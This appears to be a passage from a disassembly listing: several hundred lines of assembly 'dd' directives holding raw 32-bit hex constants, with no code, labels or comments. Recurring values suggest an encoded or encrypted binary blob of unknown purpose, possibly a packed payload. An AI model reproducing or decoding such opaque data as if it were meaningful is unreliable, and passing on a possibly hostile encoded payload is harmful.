		dd 0B1321566h, 0A3547507h, 1E32D590h, 883215E8h, 10627466h
		dd 2236103Eh, 0D1B11566h, 0AC369262h, 24CB753Ah, 0CC4411DCh
		dd 11B71A0Eh, 0E9321566h, 986CFC07h, 29DBEA99h,	0BC321566h
		dd 0F18796ADh, 0F0D01E02h, 0A33D545Dh, 1132156Ah, 88349A69h
		dd 0C13D1566h, 22321566h, 6A9F90A1h, 88301368h,	0C83D1566h
		dd 22321576h, 11321E8Fh, 5261F66h, 4417E562h, 9B372A97h
		dd 1A8B4430h, 0B941A570h, 1D36312Ah, 29C1943Dh,	1E41A570h
		dd 883205E8h, 4EB91A66h, 0CB321566h, 11321563h,	6EDA9636h
		dd 4A841ACFh, 2232198Fh, 0C2259D66h, 0BEF59CA6h, 21EFDB7Ch
		dd 0A2CB9552h, 11919669h, 9BDB1566h, 1321566h, 0B6D4E8DCh
		dd 0D68B7B4Dh, 0ABE1FD00h, 619AB5BEh, 0CB52A9AEh, 1132156Ah
		dd 0EF9D0321h, 948DEDF5h, 8558ABBDh, 70FDAA69h,	0DEC6AC37h
		dd 0A5B375DCh, 4E5F4E67h, 9031F4A7h, 0BD4FB187h, 0C5E3E239h
		dd 13C24897h, 48F93C88h, 4BB3DE67h, 54FC0AC4h, 22321A8Fh
		dd 0E9FBA666h, 2CD6C783h, 258350C9h, 297272F0h,	1133AD36h
		dd 4B331566h, 4421FC3Eh, 0C1D1566h, 7087CE7Bh, 98E6A994h
		dd 66B3236Ah, 280088AAh, 11B9FCDEh, 83D1566h, 4432156Bh
		dd 22321D8Fh, 0BC98A166h, 0A47FC1B1h, 0E98546F6h, 443AFAA6h
		dd 11CDA334h, 0A0687391h, 0C03D4E9Fh, 22321561h, 11339B69h
		dd 0DDCA1566h, 443215DBh, 0ABFF3C66h, 351E9E8Fh, 8836D1E7h
		dd 0CE3D1566h, 22321568h, 11BD1A06h, 9321566h, 2E1B78B6h
		dd 7267746Bh, 6438ABDEh, 838FA842h, 811B3113h, 7FDB343Eh
		dd 0E48D429Eh, 890F8E47h, 8F1B4A9Dh, 3C7FEE7h, 1BDB28FDh
		dd 43321566h, 37315DEDh, 6A715D2Dh, 88B79E4Dh, 61341273h
		dd 44321568h, 0C06A4B54h, 0C5837B95h, 6C9095D1h, 0D1B9E0D2h
		dd 24351577h, 3C8F969Fh, 89341254h, 40519169h, 0A03D1566h
		dd 1132156Ch, 5FB37306h, 0FB3DA004h, 1BCE74B1h,	5BB01AA5h
		dd 74321562h, 0C63DC65Fh, 0DDCDEF6Dh, 1132108Fh, 23F23066h
		dd 76DBD5FEh, 2D321562h, 11320CE6h, 8826FC66h, 7BAE1566h
		dd 861EA0h, 12E6F827h, 0D09915F9h, 80A226CFh, 0A7F5C4F8h
		dd 173C6ECBh, 88321564h, 40B3439Fh, 8D261F42h, 352E9E71h
		dd 936D1E5h, 0EB261F8Dh, 943DEC71h, 1121FC68h, 0F0881566h
		dd 863D636Ch, 6B247C3Ah, 3FA2E832h, 49CDD25Eh, 0C4CB9597h
		dd 22649669h, 9A3D1566h, 88321567h, 0DFD9949Fh,	0A34BA82Eh
		dd 0BA51D4A5h, 9F9146Ch, 0EF51D48Dh, 0B9F1946Ch, 0E94BA82Eh
		dd 77CDAA31h, 0BF1BEA99h, 0A3547539h, 917B6087h, 615314A0h
		dd 443215D7h, 0FC8D1A06h, 1132078Fh, 0C7993066h, 846623DFh
		dd 1E03F26h, 325905EFh,	0E90E76D6h, 0BB854600h,	0AFAD4E6h
		dd 0D9DB959Fh, 13D4E00h, 4432156Ah, 2232128Fh, 779FC666h
		dd 9E3E3B0h, 448D42F7h,	0B321566h, 4ECA9CA1h, 9FBF1AF7h
		dd 0AD321566h, 22321574h, 3A1093AAh, 30CD3D8Ah,	76AC9216h
		dd 7E24F7EBh, 4361031Bh, 230F8CDCh, 7954AE09h, 0F1037ACDh
		dd 4AEB343Ch, 88321E8Fh, 9ECE0A66h, 0ABD38D14h,	0A543BC70h
		dd 0AD8BAB30h, 0B71B01F5h, 0A3F93C38h, 8217ACA5h, 0E3D7572h
		dd 4432156Bh, 2232128Eh, 0CE40BE66h, 4732F638h,	0BFB9733Fh
		dd 0BBB79E07h, 71341273h, 3C6F7E6h, 4FDB749Eh, 9E321566h
		dd 0F15D74CEh, 0A618B1E7h, 0D1B93ED4h, 24351577h, 11389269h
		dd 0DB521566h, 44B21A3Fh, 43321566h, 3C8F969Fh,	89341254h
		dd 46919169h, 19CB1566h, 21B01ABEh, 0E8321566h,	0FDB7DCE7h
		dd 0CB53328Ah, 11321569h, 892A9135h, 0BCAA6604h, 0F06AFB2Ch
		dd 2851B75Fh, 0C8B41AB5h, 0ADCDEA9Eh, 22321561h, 7B6E400Dh
		dd 0DBDBCC6Bh, 443214DDh, 79EC3C66h, 1E80479Ah,	0E59D35h
		dd 0AD684E9Eh, 22321561h, 583A678Ch, 22D544C0h,	8EB97306h
		dd 0E8B2B2DFh, 0FDB37428h, 88321562h, 0FC1611EFh, 22321566h
		dd 19B8E567h, 8DB51A3Eh, 24321566h, 43EDA269h, 1130F9E7h
		dd 1541566h, 0C487316Ah, 7B54FDEEh, 9086459Ah, 64B2F9B6h
		dd 0FEC695ABh, 0DC34F9A6h, 0E4DE95A2h, 8CB9F446h, 40F69442h
		dd 42321566h, 11321B8Fh, 0F816D66h, 0A2A6C64Dh,	0FE93693Bh
		dd 90B8AF46h, 3B04F88Eh, 8C3A7429h, 2232058Fh, 0A6A6F766h
		dd 3F4A98A6h, 3B996022h, 94754252h, 1CDBBFCFh, 62321566h
		dd 0C69795D6h, 0C190AC45h, 26AE8282h, 0B7B4FEE7h, 0BF1B04EEh
		dd 30F4AF34h, 0E3B37CE5h, 9260388Eh, 0BB9AFFE7h, 0F133772Eh
		dd 5B01A3Ch, 61321566h,	44321569h, 1F6A1A0Ah, 0C5FAD867h
		dd 0DA67AC9Ah, 0C7C5BF60h, 26BB118Ah, 1136AD42h, 4B1B1566h
		dd 443CFC3Eh, 0B95F1566h, 0D70AE2FBh, 0E4DCC348h, 0E508BAF5h
		dd 0E103CD57h, 4752CD57h, 88329169h, 0CF6D1566h, 0CB9974BEh
		dd 11321563h, 0EB82360Dh, 0FA64445Ah, 61E84430h, 0CB6341DFh
		dd 0D6C32425h, 4B6BDB67h, 22321CE2h, 0AB547566h, 354BE1Fh
		dd 0F1BB74B5h, 24353E1Bh, 1132058Fh, 0C17DAE66h, 0AC3D69C5h
		dd 6AB780D4h, 0B1989CABh, 0A5B7D2ACh, 45341254h, 2D321566h
		dd 113207EEh, 84BF1A66h, 0AD321566h, 22321561h,	69FB2696h
		dd 0DF1992D5h, 83B3F2EFh, 22321562h, 2236D2E5h,	0B403315Ah
		dd 600E2642h, 29DB753Ah, 95321566h, 71929A4Bh, 0EA8959ECh
		dd 4464C386h, 7068C5EDh, 8832188Fh, 7541C466h, 0E7E19F90h
		dd 0B8458E69h, 94B91AA6h, 0A5BB4442h, 2236D4E7h, 0D0B11566h
		dd 0AC3E9262h, 4420FC3Ah, 83721566h, 6D5D189Eh,	1A349FBDh
		dd 6980C546h, 407703DBh, 48162199h, 8836D1E7h, 41DB1566h
		dd 0E3321566h, 33CAD5BAh, 9D59C31h, 443211A1h, 26F59666h
		dd 9A1629E1h, 0A3D3142h, 44321567h, 26EE7D9Fh, 3DBB1566h
		dd 9D79C42h, 443211A3h,	26F79666h, 4D1639E1h, 82B01A9Ah
		dd 24321566h, 445CCEE6h, 0DB4BDDE7h, 5E70FC07h,	0CC3DEA99h
		dd 22321577h, 1132198Fh, 5D88F866h, 0A3D91B00h,	8837F32Ah
		dd 0EE8F4012h, 89CDEA99h, 0C73D4888h, 22321561h, 11339C69h
		dd 0DACA1566h, 0CCDBA635h, 0D2BA4EB8h, 1139FC3Ch, 10951566h
		dd 0D410889Ah, 4127CEDBh, 983DBFB5h, 88321567h,	7B2E7D9Fh
		dd 16BB1566h, 17DB4D42h
		dd 7D321566h, 0D3D94B31h, 9A8B440Bh, 38135368h,	701B4CAEh
		dd 23CAD63h, 223EFC47h,	64E41566h, 4DA8BBF3h, 7F25846h
		dd 0CA527A66h, 1132156Fh, 2EC1AFFDh, 4943D54Dh,	2237FC08h
		dd 36531566h, 0D3F8893Ah, 25E0AA69h, 155A4031h,	4C37C92Ch
		dd 3DFFD0E7h, 0ABBBEF45h, 7DCA3C3Bh, 1132058Fh,	233E8666h
		dd 86C77F12h, 58DB535Ch, 5DB7C454h, 0E3DBE5Ah, 4432156Bh
		dd 22321D8Fh, 0F70D6966h, 0A71AA9A0h, 0A4BB45AEh, 2AADAA31h
		dd 0FEB30FE8h, 0B52C2855h, 336DD2E7h, 0D5B361E9h, 53266373h
		dd 0BCE8FAE7h, 0BC33068Dh, 26F29639h, 4D1611E1h, 88269C69h
		dd 4BDB1566h, 8B321566h, 0FD9BAE0Bh, 0E208CBC0h, 760D7DBDh
		dd 0DA525F02h, 1132138Fh, 8E95C166h, 25F04FB3h,	79162199h
		dd 1136D1E7h, 98DB1566h, 0CB321566h, 32691C28h,	8FABF64Bh
		dd 1E2A760Ah, 0BB1D8A5Eh, 0A36B3152h, 113211A2h, 63D7566h
		dd 44321564h, 29DA4A30h, 1D321566h, 3592E63Ah, 550C244Dh
		dd 9A54A320h, 706D9F37h, 0D6162199h, 0BD36D1E5h, 77D49C30h
		dd 113211DBh, 0D5DC1466h, 0C336D3E5h, 426E3152h, 0AA54CDEDh
		dd 6153FA9Dh, 0BBCDCD3Dh, 2232068Fh, 0D3A87866h, 9DA576DFh
		dd 7B33EA61h, 5D270A73h, 5BB2DA18h, 0F39F90A1h,	44371368h
		dd 0AB3D1566h, 11321578h, 882A9869h, 57DB1566h,	1C321566h
		dd 7669E376h, 346566A9h, 0A75B762Dh, 0CDCC5493h, 963DC572h
		dd 88321567h, 0B6BB479Ah, 61E9434h, 1D7210C1h, 2FF1943Dh
		dd 1E3E5563h, 2232198Fh, 5F439666h, 63EF99BDh, 0F8943F2Ah
		dd 26DE966Eh, 0AE1629EFh, 88321562h, 0B86DEE67h, 0D48D1A06h
		dd 1132138Fh, 0F3F02966h, 253D1E89h, 2232AF34h,	0E3331566h
		dd 9CB90F65h, 40F69642h, 0F2EA9406h, 0ED4458C1h, 85B91A07h
		dd 24321566h, 0F6AEDFE7h, 90546A11h, 0E94D9997h, 51AB90EDh
		dd 0A93D1361h, 1132156Bh, 5BB37306h, 0ADB35422h, 598D0B0Bh
		dd 0A79E07h, 70341266h,	458A459Fh, 0B321566h, 92CA4DA0h
		dd 8F390CDBh, 0C03D1460h, 22321247h, 1EEA2E93h,	883205E4h
		dd 9E09ED66h, 23519369h, 77521566h, 0A58FD2E7h,	39879C07h
		dd 0DB34124Dh, 11321B8Fh, 0CD91B566h, 84A4458Bh, 47DE0314h
		dd 9A0FB34Bh, 8649B8FBh, 6EB01A60h, 42321566h, 11321F8Fh
		dd 4E829566h, 0BD1A03B0h, 0CB7083A4h, 11321572h, 3EA2C0B2h
		dd 0D5305C5Ah, 0C461490Ah, 576E8474h, 8477B54Dh, 60769407h
		dd 3075306Ah, 356E1434h, 0AD8B446Ah, 6D600721h,	7B22312Ah
		dd 11389669h, 8521566h,	0C5548BA5h, 435BA291h, 1134998Fh
		dd 8826FC66h, 62D41566h, 98B6F054h, 0F21B7E80h,	0E8C40253h
		dd 0DB9A6F59h, 1EB919F9h, 0F0BB4442h, 8836D4E7h, 85B31566h
		dd 22321562h, 4D1619E1h, 91B7D293h, 4534126Dh, 2D321566h
		dd 113212EEh, 89B61A66h, 0B8321566h, 771609EDh,	0D4B3F0EFh
		dd 88321562h, 0C336D0E5h, 2D6E314Ah, 11320DE5h,	8821FC66h
		dd 77101566h, 0DCC30405h, 6BAF5179h, 361AF0E8h,	32AC36FFh
		dd 606EA1Dh, 15F6943Fh,	87321566h, 44321BEDh, 24DA7566h
		dd 79321566h, 14379D43h, 0BB534C7Bh, 0A36C3152h, 113211A2h
		dd 9547566h, 25ACFD8Dh,	0AB36F9E5h, 0F0BB316Ah,	8836D4E7h
		dd 85B11566h, 63E9262h,	0C2B9753Ah, 2D2089DDh, 1652744Bh
		dd 7DF2AA69h, 70F19E00h, 77E0568Fh, 4435FC99h, 61C21566h
		dd 1929AD16h, 0A58F967Eh, 45341254h, 27AD9169h,	943D1566h
		dd 8832156Eh, 44B11A06h, 43321566h, 4AB884Dh, 0EE521361h
		dd 0C42CBFDCh, 0A953B782h, 162DA0EBh, 9BDB7560h, 51321566h
		dd 0D6F180EEh, 0C856C2DBh, 0BB42D194h, 44A2BA2Fh, 27DB4314h
		dd 0EC321566h, 9C9487E2h, 7B8A4507h, 2303A41Ah,	0C8334DA7h
		dd 0F40DFCE7h, 0CF5224D7h, 0FDB973A1h, 51F39407h, 0A165EE73h
		dd 489469Fh, 0B65EE73h,	77524EBFh, 26EECCE7h, 0A38C4307h
		dd 0D54A355Ch, 0FDF494B8h, 0A14A355Ch, 0AC524B97h, 22321574h
		dd 0F45AE435h, 0B68E6924h, 0C938FC90h, 0A724E84Ch, 4E64DF2Dh
		dd 8835FC3Ch, 2FEE1566h, 0F1F7CA59h, 178274A8h,	593E7262h
		dd 4036CD90h, 0A2B0A334h, 0E11A7188h, 8821FC3Ch, 0E7151566h
		dd 757F54E4h, 81C412C0h, 8D3F4B47h, 0A517E629h,	2FDBBFEAh
		dd 0B0321566h, 4BCB4EC6h, 87E8DA9Eh, 58A921F5h,	15DE9436h
		dd 1321566h, 1D6A316Ah,	2232108Fh, 8E973266h, 87994F94h
		dd 443219EDh, 24B51A66h, 1E321566h, 883215E0h, 0A6BB4766h
		dd 2236D7E7h, 0D3B11566h, 0AC269262h, 0B11631EDh, 79162199h
		dd 0F836D1E5h, 88321563h, 6593EE90h, 25BE1ADBh,	1E321566h
		dd 883214EBh, 70CDE966h, 0E6B34C42h, 11321562h,	8832018Fh
		dd 2F8DEC66h, 0ECD3C2B6h, 0BA576F5Ch, 0CB5FB469h, 0FB956679h
		dd 606EA2Fh, 15F69438h,	61321566h, 4432156Fh, 0BED7AFFBh
		dd 1BE2FD9Bh, 8823FC38h, 35C51566h, 5B3D065Ch, 0F7E34038h
		dd 0FE858F56h, 12460054h, 0E4B3F3EFh, 11321562h, 0F36D3E5h
		dd 60B93152h, 16DBEC42h, 0E4CDEAB2h, 0F39F90A1h, 44301368h
		dd 4AC71566h, 11324A9Ch, 0D31621EFh, 4432048Fh,	0C1BCC566h
		dd 25245F96h, 0AAB7525Ah, 49C102CEh, 943D81AEh,	1123FC68h
		dd 88021566h, 999524B4h, 4CF3E7E2h, 83CD1711h, 6199CCF9h
		dd 44321575h, 12B6BE9Ah, 92ED188Eh, 0CA3F888Fh,	661542F2h
		dd 0A2A72964h, 923D959Fh, 8832151Ah, 44321B8Fh,	2F980166h
		dd 277885FFh, 0A81CDDC1h, 16742A7Ah, 0AF32FFDCh, 14D0D403h
		dd 93AF7A7h, 774953A4h,	0D0B35F39h, 0C552C233h,	8968C64Fh
		dd 54F194ADh, 2D19250Ah, 113219EDh, 67B37566h, 5FCC87FDh
		dd 0EDBAAC00h, 108F4007h, 89321566h, 55DB488Dh,	84321566h
		dd 0A51A3E68h, 0EF2EFD8Fh, 461F9CD0h, 0D1FAA7EBh, 1184FC93h
		dd 0E8521566h, 17F1AA69h, 0A354743Eh, 70489CBCh, 0DB97A734h
		dd 9E1A5BD5h, 0A2E8E33Dh, 0D3CCAA94h, 86EDFE6h,	951AB594h
		dd 3486753Ch, 1132188Fh, 0D111F766h, 0B92D78A3h, 0D5662E5Fh
		dd 96536C8Fh, 0FE1E2BFh, 0C43D54BFh, 22321570h,	11229669h
		dd 83DB1566h, 1E321566h, 0C4007413h, 58A42E75h,	64B3DAB2h
		dd 44321562h, 981601EFh, 2DA056B1h, 42B3CF91h, 6DC25BF9h
		dd 0DC72E7E7h, 0C013FE9Bh, 883FFC3Ch, 0D1B81566h, 0FA79762Bh
		dd 75EDCD1Eh, 0D9DDFF47h, 0F30E3EDFh, 7BF91409h, 0FAB3DE4Fh
		dd 0E785294Dh, 443C9169h, 2BDB1566h, 0DE321566h, 288ADAC0h
		dd 59D1C4AEh, 37AB90EDh, 9ACB1361h, 8F3204F3h, 4438FC60h
		dd 88421566h, 7553FA57h, 0EB3026D5h, 44289269h,	0CB521566h
		dd 11321575h, 752A45A9h, 0BCC42AEAh, 0A1A3A6Eh,	0BC8A274Dh
		dd 0E9934B4Bh, 0BBC8F98Fh, 23B51A99h, 0ED321566h, 0F39F90A1h
		dd 44301368h, 2D521566h, 1FDBCAD9h, 36321566h, 2771C44Eh
		dd 0EC0ABA47h, 604184F5h, 64B174B8h, 60069C62h,	2AB01A3Dh
		dd 1E321566h, 883217EAh, 4B537566h, 0A2CE1BD0h,	923D959Fh
		dd 88321503h, 4432138Fh, 0FEE44966h, 90BBB789h,	9134018Dh
		dd 11F91454h, 5979CDDBh, 6DFF9476h, 9768568h, 8C3E6BABh
		dd 34F7943Dh, 10E008D0h, 0D3D488Dh, 44321567h, 0DD8D429Eh
		dd 38CDEA99h, 98DB4A9Dh, 4C321566h, 15A6770Eh, 0E0663895h
		dd 3C1004Dh, 0AD99EED6h, 223215CEh, 11321D8Fh, 289C6E66h
		dd 3CC4AAC8h, 2E8546B0h, 0D6CCC290h, 844DAE6h, 0B3B26889h
		dd 0FEC5953Ch, 0DB9EC4Eh
		dd 8CF69442h, 0AD321566h, 2232156Dh, 84F08BF1h,	8827B333h
		dd 0C7C3AF67h, 26BB118Ah, 1132AD42h, 401B1566h,	4B6AD4EFh
		dd 223204E8h, 113EFC66h, 0A3AF1566h, 0C36769B7h, 0CE3BCC0Bh
		dd 2B5A0960h, 132154Bh,	0BB8D315Ah, 3321566h, 0E4524A9Fh
		dd 0E9FD9E00h, 1D34AC37h, 0F3C51801h, 3DE5FCE7h, 431BC4B1h
		dd 0C5F93C3Fh, 0E34837A5h, 1120FC46h, 0ABBF1566h, 0CC0E7214h
		dd 0E928E0D4h, 9EA01AA0h, 0E17280B9h, 51AB90EDh, 0A13D1361h
		dd 11321576h, 88321E8Fh, 6CFF7466h, 0CA8765B0h,	5AB9293Eh
		dd 882380EDh, 0CF3D1361h, 2232156Eh, 9AC19406h,	0E94431CCh
		dd 761FA8E5h, 2D331361h, 0EEC4E9E2h, 8820FC99h,	0ABCF1566h
		dd 93D89E3Bh, 0E021B17Eh, 0C8B41F4Eh, 0BA184156h, 0A03DCD5Dh
		dd 11321541h, 883B9769h, 0C4521566h, 9854E0A1h,	2853C9C6h
		dd 18B41AB5h, 4BCDEA8Ah, 22321FECh, 1137FC66h, 10C61566h
		dd 152D5CA5h, 210124DFh, 50EBE20Eh, 4930FCA7h, 0A5B31187h
		dd 3C532C2h, 0CC33D4E7h, 461BEB6Ah, 4423FC3Fh, 0BA1566h
		dd 5AAEFEABh, 0A20520E5h, 56711F99h, 422FC20Ah,	5ACEAB00h
		dd 88249969h, 55DB1566h, 0C9321566h, 966E75BBh,	0F36D062Ch
		dd 0E7F1BFCCh, 0BC10658h, 15DE9407h, 1321566h, 0B1BB314Ah
		dd 0DB6FFCEFh, 647A833h, 61332D5Fh, 0C5CB3C3Bh,	1B25608Fh
		dd 0DDB8755Eh, 5C979D8h, 0FF617477h, 220647ABh,	2A82FEE7h
		dd 4BB35FF6h, 0E69FD8Eh, 0DB69CC4Fh, 85874435h,	7E6BFEEEh
		dd 46D1D5B5h, 0DCEFDEE6h, 4C195ADh, 6169CDEEh, 4432156Ah
		dd 785DEE82h, 0D20C46D2h, 88B33171h, 4438FCCCh,	97BA1566h
		dd 14BCCF16h, 0CAA9C924h, 8503DD57h, 27DBDD57h,	67321566h
		dd 9DF00BD3h, 87B375CDh, 75335790h, 11349B69h, 40B31566h
		dd 364FF095h, 298D7507h, 0AA52753Bh, 9D25FC0Dh,	8BABFC07h
		dd 2BDBEA99h, 5D321566h, 53A33EBBh, 3778F22Fh, 2235FC06h
		dd 9EDA1566h, 8AE50E53h, 25D59FF9h, 78A4535h, 0D01CA00Dh
		dd 49721186h, 94C51386h, 0C6158E63h, 82683830h,	4BBB9451h
		dd 0CEC1143Eh, 1ECB4E65h, 6FB61A8Eh, 0E8321566h, 0C0EDFFE7h
		dd 688C5B23h, 707D7929h, 0AF5A4531h, 1C475101h,	2731F5A7h
		dd 940ADDF5h, 496AD2EFh, 0B3751289h, 0BDD94B9h,	906D4675h
		dd 0F1249691h, 0F4F5940Bh, 0AB00DDBBh, 0F8CE4A9Eh, 8832176Fh
		dd 92B37306h, 28DA232Ah, 0FD321566h, 0BFE44C94h, 0E5B7DF3h
		dd 2221FC43h, 0BDE91566h, 8AAAD837h, 0E915FD6Ch, 229E69B4h
		dd 2A70DF18h, 87534B21h, 44321DE0h, 20BB1A66h, 71321566h
		dd 6DBB4007h, 4436D0E7h, 0CFB11566h, 351E9262h,	0AC2E9C3Ah
		dd 0B3BB429Eh, 1EB9EEEFh, 15F69442h, 0E8321566h, 4432018Fh
		dd 779C4366h, 0F1844987h, 0AFD666E8h, 43875C8Fh, 5A1F5A39h
		dd 70B1A1B1h, 8833AD36h, 0B4331566h, 26B90D65h,	15F69442h
		dd 87321566h, 443214E7h, 9252ED66h, 0AD5A74CAh,	1321530h
		dd 418A3162h, 23321566h, 1DB4DA5h, 5F321566h, 177B8A64h
		dd 40F5509Bh, 0B4D04EFh, 0DA04C6ABh, 0CCB4A235h, 0C8B24E9Ch
		dd 0B4F095BBh, 0A8D7E6h, 0AC524FB6h, 22321568h,	4C8D8EF1h
		dd 1464F8FDh, 60977FA2h, 43523F79h, 11B31A3Dh, 0E9321566h
		dd 4DB51ACCh, 42321566h, 80F49400h, 0E969440Ah,	6DF1949Eh
		dd 0B288305h, 388D429Dh, 0A1288305h, 0C83D4A9Dh, 2232156Ah
		dd 11349369h, 0E3D1566h, 44321566h, 2232188Fh, 0BC372E66h
		dd 58E23BDEh, 0ED470764h, 9860E530h, 11321562h,	9CB9C64Fh
		dd 40F69642h, 0CEB3459Eh, 11321562h, 0D01609EFh, 2499E93Dh
		dd 2232078Fh, 0DD95866h, 7B903C7Eh, 89E5DC8h, 1163CF53h
		dd 0F852B43Eh, 8832156Bh, 1A0A0AA4h, 0B3DCA020h, 0D797E9E6h
		dd 94B974D7h, 0A1BB4042h, 2236D0E7h, 0D4B11566h, 0AC1E9262h
		dd 4437FC3Ah, 0C04F1566h, 46FC5680h, 0A13BAB30h, 0A2B3699Eh
		dd 5A1D41F3h, 390FFBE7h, 97464F3h, 291A55A0h, 7CC59C9Fh
		dd 716DEB67h, 0DEE09400h, 57DB7438h, 50321566h,	0FD40D322h
		dd 0F57FB67h, 0C907849Bh, 0DAFC9A7Dh, 41607BD6h, 634E200Eh
		dd 2F3F4D29h, 0F6EF824h, 4EDD6B18h, 16AD7EFh, 56DB4FB6h
		dd 17321566h, 878E8137h, 0EC8F4EF2h, 0B3115569h, 0A3A45688h
		dd 18DBD6E4h, 0ED321566h, 0DC0440C3h, 1D459403h, 90D09C34h
		dd 883211A4h, 40D89666h, 7E1601E1h, 0F81619EFh,	88321568h
		dd 1826EE7Dh, 2992E41Dh, 5E516498h, 0EE52D107h,	0FB3DE6EDh
		dd 0DD5474BFh, 3DB37350h, 0EE444A42h, 2261733Eh, 44444ADDh
		dd 4A54CD67h, 8832128Fh, 78547666h, 52314FFh, 0C0B97306h
		dd 883BFD36h, 67B91566h, 36523076h, 49FC2385h, 4B0E743Ch
		dd 45009169h, 28DB1566h, 1A321566h, 0C2DED89Bh,	8B8603ACh
		dd 23B81A80h, 0E9321566h, 0C3DDE5Ah, 44321472h,	0E00E7406h
		dd 107C9169h, 39521566h, 1FE29469h, 430FF6B7h, 953DDF5Ah
		dd 8832145Ah, 44389269h, 27DB1566h, 0E1321566h,	2D671F67h
		dd 61CD2800h, 23789169h, 1CDB1566h, 0CD321566h,	33343C32h
		dd 3220AA4Ch, 923CD7Ch,	771C2800h, 44479069h, 2D521566h
		dd 113213E9h, 88B21A66h, 22321566h, 43401EDEh, 9836F9E5h
		dd 8A8B316Ah, 45321566h, 7B339F97h, 11239D69h, 84DB1566h
		dd 41321566h, 1B5002E7h, 0BC1ACF74h, 0DB6F17BBh, 0C474A437h
		dd 0E9BAA397h, 4AEA353Fh, 88259F69h, 56DB1566h,	29321566h
		dd 0DAED5023h, 0D966D8B3h, 274A8CC3h, 0B586EB62h, 1E92290Ah
		dd 883319E2h, 0C03D7566h, 22321564h, 9A53D2ECh,	164316Ah
		dd 40F49480h, 0A3321566h, 113211A0h, 0AC069266h, 43B41A3Ah
		dd 2D321566h, 113214E8h, 0DE65E966h, 7A572BD8h,	19C4945Ah
		dd 0D077B65Ah, 6EF31688h, 44DC9461h, 0ABABC0F6h, 0E9BB4B91h
		dd 3547539h, 0DB74ADh, 0DE321567h, 993DDC57h, 8832156Ch
		dd 4BC79F06h, 223215E7h, 0AF647466h, 0F10213F4h, 42A3FBE7h
		dd 0D3336C56h, 1DBD1A38h, 61321566h, 44321561h,	4AD0E241h
		dd 0F856589Ah, 883215E9h, 4432128Fh, 6AB1E566h,	0A292DC8Dh
		dd 8832160Eh, 603E9E66h, 2236D1E7h, 1ECE1566h, 883214E1h
		dd 2CDBE066h, 0CB321566h, 1132156Eh, 1385C0B3h,	0CFA17DF9h
		dd 16417D30h, 25B910FBh, 8CF69442h, 0C5321566h,	150CEA90h
		dd 0FFB35B31h, 0DA981FE3h, 4B6CE4EFh, 223207E8h, 113FFC66h
		dd 88991566h, 570762A1h, 0EE5466D6h, 0F8B07E07h, 88321579h
		dd 44321D8Fh, 0A7140666h, 0D46D48BDh, 8CDE9435h, 0CD321566h
		dd 258F314Ah, 98321566h, 7BCA488Fh, 0C9B9EDC2h,	24351577h
		dd 0D8B7EC9Ah, 88109069h, 0C63D1566h, 22321567h, 879C9Fh
		dd 61341266h, 44321569h, 52953B3Fh, 203ADF1Ah, 94BD4C1Bh
		dd 0B87A763Ah, 7B162199h, 0F836D1E5h, 88321577h, 0A273D896h
		dd 2499E3C6h, 7CC32B77h, 41312BF5h, 0FE60424Eh,	393F2ECCh
		dd 79F2D7E7h, 6AB31292h, 5AED43B1h, 6834F7A7h, 23D6E7E7h
		dd 5FBBDB33h, 66A8AD3Ch, 0DA035B72h, 0D2CBEC39h, 88209C69h
		dd 49DB1566h, 0FD321566h, 7030682h, 0DC05CA87h,	1DECE2F5h
		dd 4FEB9406h, 7736C40Fh, 0E91205DCh, 2204EA00h,	0A51639E7h
		dd 776A734Ch, 0F8B7337h, 8C33734Ch, 2BDB4C00h, 4B321566h
		dd 0A8B15D6Dh, 4D1A53FDh, 2DF1299Ah, 1133DCE2h,	8835FC66h
		dd 0CEBE1566h, 0BA7C0967h, 113CFCABh, 38691566h, 28E28F4Dh
		dd 470A79EBh, 328B1707h
		dd 4FBA4637h, 0CC69ECEEh, 0CB524CADh, 1132156Eh, 0B8EE442Bh
		dd 9F14A496h, 43CCAA69h, 1136F9E7h, 8CBB1566h, 64C2A542h
		dd 0AC3D4DA5h, 1132156Eh, 88309F69h, 25521566h,	2232128Fh
		dd 0E3BD9A66h, 0A8AE878Ch, 4B42EEE6h, 2231BEE2h, 0BF1A66h
		dd 61321566h, 4432156Ah, 506CD913h, 0A091F932h,	0D759A991h
		dd 0C03DFC5Ah, 22321458h, 1ED9299Eh, 883320E2h,	4434FC66h
		dd 0CE101566h, 4C1AAB7h, 87F0299Ah, 443334E2h, 0A9547566h
		dd 0D4B275A7h, 8838AF73h, 25531CD6h, 0A63DDE5Ah, 1132146Ch
		dd 88321F8Fh, 24623266h, 5D7B2EFh, 77AC88A6h, 8717EA5Bh
		dd 4432E4E2h, 2EB11A66h, 1E321566h, 883213EFh, 44BB1A66h
		dd 1E321566h, 0C6B61AACh, 0E8321566h, 44B01A06h, 2D321566h
		dd 113215E5h, 3547466h,	0A70E74A0h, 21389169h, 993D1566h
		dd 8832156Eh, 44309269h, 43521566h, 0EE1C2800h,	88549069h
		dd 0CE3D1566h, 22321568h, 11321C8Fh, 0BE4BE266h, 223AFC72h
		dd 0CEB33B7Dh, 11321562h, 331609EFh, 44321564h,	21B8E667h
		dd 1139FC3Dh, 0F78B1566h, 259FB154h, 0CE2144DCh, 0A0634736h
		dd 8BDBD56Fh, 8DCCD498h, 0DC31F4A6h, 0F8F395AFh, 0A86BDBEEh
		dd 78C74F96h, 69B61AC6h, 71321566h, 0AF2BAF00h,	0A4B37334h
		dd 436A4CE8h, 49C17D34h, 9CB914B7h, 40F69442h, 68321566h
		dd 5300D7E7h, 4AB326C8h, 1E13322Eh, 0E05EFFE7h,	0C1BB9AC6h
		dd 82DB753Ch, 0F2321566h, 23629BD9h, 7999E50Ch,	0E9CB9E49h
		dd 4432518Fh, 97BBED66h, 17351577h, 88321F8Fh, 8ECA0D66h
		dd 61759DAh, 9CD86EF9h,	85BD61FBh, 4435FC60h, 0AB6E1566h
		dd 9E2E853Dh, 74E1EADFh, 4433AF34h, 0F2BB1566h,	921601EDh
		dd 0E85211A2h, 0C3F803D9h, 436A475Dh, 0A952D607h, 0ABF80218h
		dd 6E39400h, 0AB6374B4h, 15F39487h, 9321566h, 4432118Fh
		dd 63E9266h, 35369C3Ah,	8832018Fh, 0C0F65366h, 4252E45Dh
		dd 0F51DF9Fh, 0FBA8206h, 0B3D722C0h, 3244EAF6h,	921611EDh
		dd 0EE5211A2h, 142954DDh, 22329669h, 70691566h,	9C6F90EFh
		dd 4B521361h, 953DD6D9h, 963D74B5h, 88321567h, 60369E9Eh
		dd 0A3D59C31h, 113211A1h, 8CF59666h, 181629E1h,	22321F8Fh
		dd 43440266h, 13D880CFh, 1158B3E6h, 223209DBh, 0BF49466h
